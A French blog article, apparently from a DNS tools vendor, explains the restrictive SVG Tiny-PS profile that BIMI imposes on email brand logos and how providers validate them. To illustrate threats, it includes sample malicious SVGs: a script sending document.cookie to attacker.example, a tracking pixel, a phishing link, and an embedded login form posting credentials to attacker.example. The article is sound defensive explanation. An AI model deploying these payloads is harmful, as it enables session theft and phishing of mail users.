SVG Tiny-PS : comprendre le profil de sécurité imposé par BIMI
Par CaptainDNS
Publié le 2 mars 2026

- SVG standard peut embarquer des scripts JavaScript, des liens de phishing et des pixels de tracking : des capacités incompatibles avec une boîte de réception
- Le profil SVG Tiny 1.2 PS (Portable/Secure) élimine toute exécution de code, tout chargement externe et toute interactivité
- Gmail, Yahoo Mail et Apple Mail parsent chaque logo BIMI et rejettent tout fichier qui enfreint les restrictions du profil PS
Un fichier SVG n'est pas une simple image. C'est un document XML qui peut contenir du JavaScript, des liens hypertexte, des requêtes vers des serveurs externes et même du HTML embarqué via <foreignObject>. Ces capacités, utiles sur le web, deviennent des armes dans un contexte email.
BIMI (Brand Indicators for Message Identification) affiche le logo d'une marque directement dans la boîte de réception du destinataire. Si ce logo pouvait exécuter du code ou charger des ressources externes, il deviendrait le vecteur d'attaque le plus accessible jamais déployé : présent dans chaque email reçu, affiché automatiquement, sans interaction de l'utilisateur.
C'est pourquoi BIMI impose un profil SVG ultra-restrictif : SVG Tiny 1.2 PS (Portable/Secure). Cet article détaille l'origine de ce profil, les menaces qu'il neutralise et la manière dont les fournisseurs de messagerie l'appliquent.
Du W3C à BIMI : d'où vient le profil SVG Tiny-PS ?
Le profil SVG Tiny-PS ne sort pas de nulle part. Il s'appuie sur deux décennies de travail de standardisation du W3C, adapté aux contraintes spécifiques de l'email.
SVG Tiny 1.2 : un standard pour les appareils contraints
En 2008, le W3C publie la spécification SVG Tiny 1.2. L'objectif initial n'a rien à voir avec l'email : il s'agit de permettre l'affichage de graphiques vectoriels sur des appareils mobiles aux ressources limitées (téléphones de l'époque, PDA, navigateurs embarqués).
SVG Tiny 1.2 retire les fonctionnalités les plus lourdes de SVG Full : pas de filtres complexes, pas de <foreignObject>, pas de CSS avancé. Le sous-ensemble restant suffit pour afficher des icônes, des logos et des illustrations simples.
L'extension PS : la couche sécurité de BIMI
Quand le BIMI Working Group cherche un format d'image pour les logos de marque dans les emails, SVG Tiny 1.2 constitue un bon point de départ. Le format est léger, standardisé et ne dépend pas de résolutions fixes. Mais SVG Tiny 1.2 conserve encore des capacités problématiques pour la sécurité email :
- Les scripts JavaScript (
<script>) sont toujours permis dans SVG Tiny 1.2 - Les liens hypertexte (
<a>) restent autorisés - Les animations (
<animate>,<set>) fonctionnent
Le BIMI Working Group ajoute donc une couche supplémentaire de restrictions, baptisée PS (Portable/Secure). Le résultat est un profil déclaré via l'attribut baseProfile="tiny-ps" sur la balise <svg> racine :
<svg xmlns="http://www.w3.org/2000/svg"
version="1.2"
baseProfile="tiny-ps"
viewBox="0 0 512 512">
<!-- Contenu du logo -->
</svg>
L'attribut baseProfile="tiny-ps" signale aux parseurs que le fichier est soumis aux restrictions PS. Un fournisseur de messagerie qui rencontre un SVG sans cet attribut le rejette, même si le contenu est techniquement conforme.
Quels vecteurs d'attaque un fichier SVG peut-il contenir ?
Pour comprendre les restrictions, il faut d'abord comprendre les risques. Un fichier SVG classique offre cinq grandes surfaces d'attaque dans un contexte email.
Exécution de code JavaScript
SVG supporte la balise <script> avec du JavaScript complet. Dans un navigateur, c'est une fonctionnalité. Dans une boîte de réception, c'est une faille XSS (Cross-Site Scripting) servie sur un plateau :
<!-- SVG malveillant : vol de session -->
<svg xmlns="http://www.w3.org/2000/svg">
<script>
fetch('https://attacker.example/steal?cookie=' + document.cookie);
</script>
<circle cx="50" cy="50" r="40" fill="#0EA5E9"/>
</svg>
Un tel fichier, affiché comme logo BIMI, pourrait accéder au DOM du client de messagerie web, exfiltrer des cookies de session ou injecter du contenu dans la page.
Chargement de ressources externes
La balise <image> permet de charger des images depuis un serveur distant. C'est un pixel de tracking déguisé en logo :
<!-- SVG avec tracking pixel -->
<svg xmlns="http://www.w3.org/2000/svg">
<image href="https://tracker.example/pixel.gif?uid=12345"
width="1" height="1"/>
<circle cx="50" cy="50" r="40" fill="#10B981"/>
</svg>
Chaque affichage du logo déclenche une requête HTTP. L'attaquant sait quand, où et combien de fois l'email est ouvert (adresse IP, user agent, fréquence).
Liens de phishing
L'élément <a> crée des zones cliquables dans un SVG. Un logo entièrement cliquable qui redirige vers un site de phishing passerait inaperçu pour la plupart des utilisateurs :
<!-- SVG avec lien de phishing -->
<svg xmlns="http://www.w3.org/2000/svg">
<a href="https://fake-bank.example/login">
<rect width="100" height="100" fill="#8B5CF6"/>
<text x="50" y="55" text-anchor="middle" fill="white">Logo</text>
</a>
</svg>
Contenu HTML embarqué
<foreignObject> permet d'injecter du HTML et du CSS arbitraires dans un SVG. C'est la surface d'attaque la plus large : formulaires, iframes, scripts imbriqués :
<!-- SVG avec HTML embarqué -->
<svg xmlns="http://www.w3.org/2000/svg">
<foreignObject width="100%" height="100%">
<div xmlns="http://www.w3.org/1999/xhtml">
<form action="https://attacker.example/phish">
<input type="text" placeholder="Email"/>
<input type="password" placeholder="Mot de passe"/>
<button>Connexion</button>
</form>
</div>
</foreignObject>
</svg>
Animations et interactions événementielles
Les éléments <animate>, <set> et les attributs onclick, onmouseover permettent de créer des comportements dynamiques. Un logo animé pourrait simuler une interface, afficher de faux boutons ou déclencher des actions au survol.

Comment le profil PS neutralise chaque menace ?
Le profil PS applique trois catégories de restrictions. Chacune cible un groupe de menaces spécifique.
Catégorie 1 : éléments interdits
Le profil PS supprime entièrement certains éléments XML du vocabulaire SVG autorisé :
| Élément interdit | Menace neutralisée |
|---|---|
<script> | Exécution de code JavaScript (XSS) |
<image> | Chargement de ressources externes (tracking) |
<a> | Liens de phishing cliquables |
<foreignObject> | Injection de HTML/CSS arbitraire |
<animate>, <animateTransform>, <set> | Animations et comportements dynamiques |
<filter>, <feGaussianBlur> | Filtres complexes (rendu imprévisible) |
<pattern>, <mask>, <symbol> | Éléments avancés non nécessaires pour un logo |
<marker>, <switch>, <cursor> | Interactivité et personnalisation |
Si un fichier SVG contient ne serait-ce qu'un de ces éléments, le fournisseur le rejette intégralement. Il n'y a pas de mode dégradé : un seul élément interdit suffit.
Catégorie 2 : attributs et événements supprimés
Même sur les éléments autorisés, certains attributs sont interdits :
- Événements JavaScript :
onclick,onmouseover,onload,onfocusinet tous les attributson* - Références externes :
xlink:hrefpointant vers une URL externe (les références internes avec#idrestent autorisées) - Styles CSS complexes : les blocs
<style>sont interdits ; les propriétés doivent être déclarées en attributs inline (fill="#0EA5E9")
Catégorie 3 : structure imposée
Le profil PS impose une structure précise sur l'élément <svg> racine :
| Attribut | Valeur requise | Rôle |
|---|---|---|
version | 1.2 | Déclare le sous-ensemble SVG Tiny 1.2 |
baseProfile | tiny-ps | Active les restrictions PS |
viewBox | 0 0 X X (carré) | Garantit un ratio 1:1 pour l'affichage |
xmlns | http://www.w3.org/2000/svg | Namespace SVG standard |
Le viewBox carré n'est pas une restriction de sécurité à proprement parler. Il garantit que le logo s'affiche correctement quel que soit le client de messagerie et la taille de la zone d'affichage.
Éléments autorisés
Ce qui reste après filtrage constitue le vocabulaire minimal pour dessiner un logo :
Conteneurs : <svg>, <g>, <defs>
Formes : <rect>, <circle>, <ellipse>, <line>, <polyline>, <polygon>, <path>
Texte : <text>, <tspan>
Couleurs : <linearGradient>, <radialGradient>, <stop>, <solidColor>
Découpe : <clipPath>, <use> (référence locale uniquement)
Accessibilité : <title>, <desc>
Ce vocabulaire suffit pour reproduire n'importe quel logo de marque. Les logos n'ont pas besoin de scripts, d'animations ou de liens : ils sont par nature des images statiques.
Comment les fournisseurs valident un logo SVG Tiny-PS ?
Les fournisseurs de messagerie ne font pas confiance à l'attribut baseProfile="tiny-ps". Ils parsent le fichier entièrement et vérifient chaque élément.
Le processus de validation
La validation suit un pipeline en quatre étapes :
- Récupération : le fournisseur télécharge le fichier SVG depuis l'URL indiquée dans l'enregistrement DNS BIMI (
l=https://...) - Parsing XML : le fichier est parsé comme un document XML strict. Tout fichier mal formé est rejeté
- Vérification structurelle : présence de
version="1.2",baseProfile="tiny-ps",viewBoxcarré, namespace correct - Analyse des éléments : chaque nœud XML est comparé à la liste blanche. Un élément interdit provoque un rejet immédiat
Différences entre fournisseurs
| Critère | Gmail | Yahoo Mail | Apple Mail |
|---|---|---|---|
| Validation SVG Tiny-PS | Stricte | Stricte | Stricte |
| Certificat VMC/CMC requis | Oui | Non | Non |
| Cache du logo | Long (jours) | Moyen (heures) | Court |
DMARC p=reject obligatoire | Oui | Non (p=quarantine suffit) | Non (p=quarantine suffit) |
Gmail applique la validation la plus stricte. En plus du format SVG Tiny-PS, il exige un certificat VMC (Verified Mark Certificate) ou CMC (Common Mark Certificate) qui lie cryptographiquement le logo à l'identité de la marque. Yahoo Mail et Apple Mail affichent le logo sans certificat, mais valident le format avec la même rigueur.
Raisons de rejet les plus courantes
Les causes de rejet les plus fréquentes sont :
baseProfileabsent : le fichier ne déclare pasbaseProfile="tiny-ps"(environ 50 % des cas)- Bloc
<style>présent : les éditeurs graphiques exportent les couleurs en CSS, pas en attributs inline - Élément
<image>détecté : un bitmap embarqué en base64 dans le SVG viewBoxnon carré : ratio différent de 1:1- Namespace superflu :
xmlns:inkscape,xmlns:xlinkavec des références non utilisées

🎯 Plan d'action recommandé
- Auditer votre fichier SVG actuel : ouvrez-le dans un éditeur de texte et cherchez les éléments interdits (
<script>,<image>,<style>,<a>,<animate>) - Vérifier les attributs racine : confirmez la présence de
version="1.2",baseProfile="tiny-ps"et unviewBoxcarré - Convertir automatiquement : passez le fichier dans un convertisseur SVG Tiny-PS pour supprimer les éléments interdits et ajouter les attributs manquants
- Tester la récupération : utilisez l'outil de vérification BIMI de CaptainDNS pour confirmer que le logo est accessible et valide depuis l'enregistrement DNS
- Surveiller les mises à jour : le BIMI Working Group peut ajuster les restrictions ; consultez régulièrement la RFC 9495
FAQ
Qu'est-ce que le profil SVG Tiny-PS ?
SVG Tiny 1.2 PS (Portable/Secure) est un sous-ensemble restreint du format SVG, défini pour BIMI. Il reprend la base de SVG Tiny 1.2 du W3C et ajoute des restrictions de sécurité : pas de scripts, pas de liens, pas d'images externes, pas d'animations. Seuls les éléments visuels statiques (formes, texte, gradients) sont autorisés.
Pourquoi BIMI n'accepte-t-il pas les fichiers SVG standards ?
Un fichier SVG standard peut contenir du JavaScript, des liens hypertexte, des pixels de tracking et du HTML embarqué. Afficher un tel fichier automatiquement dans une boîte de réception ouvrirait une surface d'attaque massive. Le profil SVG Tiny-PS élimine ces capacités pour que le logo reste une image statique inoffensive.
Quelle est la différence entre SVG Tiny 1.2 et SVG Tiny-PS ?
SVG Tiny 1.2 est un standard W3C conçu pour les appareils mobiles. Il retire les fonctionnalités les plus lourdes de SVG Full mais conserve les scripts et les liens. SVG Tiny-PS ajoute une couche de restrictions de sécurité spécifiques à BIMI : interdiction des scripts, des liens, des animations et de tout chargement externe.
Quels types d'attaques un fichier SVG malveillant peut-il contenir ?
Un SVG malveillant peut contenir du JavaScript pour exécuter du XSS, des balises <image> pour le tracking par pixel, des liens <a> pour le phishing, du HTML via <foreignObject> pour injecter des formulaires, et des animations pour simuler de faux éléments d'interface.
Comment Gmail valide-t-il un logo BIMI ?
Gmail télécharge le SVG depuis l'URL déclarée dans l'enregistrement DNS BIMI, parse le XML, vérifie la présence de baseProfile="tiny-ps" et d'un viewBox carré, puis analyse chaque élément contre la liste blanche du profil PS. Il exige aussi un certificat VMC ou CMC valide pour afficher le logo avec le badge de vérification.
Le profil SVG Tiny-PS autorise-t-il les gradients et les couleurs ?
Oui. Les gradients linéaires (<linearGradient>), radiaux (<radialGradient>) et les couleurs (fill, stroke, <solidColor>) sont autorisés. Le profil PS ne restreint que les éléments qui posent un risque de sécurité, pas les éléments décoratifs nécessaires à un logo.
Existe-t-il un validateur officiel pour SVG Tiny-PS ?
Le BIMI Group ne fournit pas de validateur officiel. Les fournisseurs de messagerie effectuent leur propre validation lors du traitement de l'email. Pour tester votre logo avant publication, utilisez un outil de vérification BIMI qui simule le processus de validation des fournisseurs.
📖 Glossaire
- SVG Tiny 1.2 PS : profil de sécurité du format SVG adopté par BIMI. PS signifie Portable/Secure. Il restreint SVG Tiny 1.2 aux éléments visuels statiques en éliminant scripts, liens, animations et chargement externe.
- XSS (Cross-Site Scripting) : attaque qui injecte du code JavaScript dans une page web pour voler des données ou détourner des sessions. Un SVG avec
<script>peut servir de vecteur XSS. - baseProfile : attribut XML de la balise
<svg>qui déclare le profil SVG utilisé. La valeurtiny-pssignale au parseur que le fichier doit respecter les restrictions PS. - BIMI : Brand Indicators for Message Identification. Standard qui affiche le logo d'une marque dans les clients de messagerie, conditionné à DMARC et (selon le fournisseur) à un certificat VMC/CMC.
- VMC/CMC : Verified Mark Certificate / Common Mark Certificate. Certificats qui lient cryptographiquement un logo à une marque. Gmail exige l'un de ces certificats pour afficher le badge de vérification.
- RFC 9495 : spécification IETF de BIMI, publiée en décembre 2023. Définit le format d'enregistrement DNS, le processus de validation et les exigences sur le logo SVG.
Vérifiez la conformité de votre logo : passez votre fichier SVG dans le convertisseur SVG Tiny-PS de CaptainDNS pour détecter et corriger automatiquement les éléments non conformes.
📚 Guides BIMI connexes
- Comment créer un logo BIMI conforme SVG Tiny-PS : guide pratique pas-à-pas pour préparer, convertir et valider un logo
- Configurer BIMI pour une PME : guide économique sans VMC : déployer BIMI sans VMC avec un budget maîtrisé, étape par étape


